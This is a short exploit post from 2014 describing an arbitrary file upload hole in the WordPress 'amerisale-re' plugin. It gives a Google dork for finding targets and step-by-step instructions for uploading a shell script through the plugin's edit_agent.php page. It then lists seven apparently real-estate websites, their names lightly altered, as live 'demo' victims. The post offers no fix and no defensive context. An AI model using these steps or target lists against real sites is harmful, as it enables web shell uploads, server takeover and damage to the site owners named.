###################### # Exploit Title : Wordpress amerisale-re Arbitrary File Upload Vulnerability # Exploit Author : Ashiyane Digital Security Team # Vendor Homepage : http://wordpress.org/ # Google Dork : inurl:/wp-content/plugins/amerisale-re # Date : 2014/01/23 # Tested on : Windows 8 , Linux ###################### Exploit : 1.Go to : http://Target.com/wp-content/plugins/amerisale-re/agent_listings/edit_agent.php 2.At the end of page right click on Browse 3.Select Your File And Then Click Upload 4.Your Uploaded File (Shell Script,Pictures etc...) is shown in that page next to the browse button,right click on that and click view image Demo : http://c21lyncXh.com/wp-content/plugins/amerisale-re/agent_listings/edit_agent.php http://pudowensrXealty.com/wp-content/plugins/amerisale-re/agent_listings/edit_agent.php http://genecrouchXrealty.com/wp-content/plugins/amerisale-re/agent_listings/edit_agent.php http://garrybrowXnrealestate.com/wp-content/plugins/amerisale-re/agent_listings/edit_agent.php http://bexleyproXperties.com/wp-content/plugins/amerisale-re/agent_listings/edit_agent.php http://johnpruittrXealty.com/wp-content/plugins/amerisale-re/agent_listings/edit_agent.php http://lexingtonteXxasrealestate.com/wp-content/plugins/amerisale-re/agent_listings/edit_agent.php ##################################### # # Discovered by : Spoof # #####################################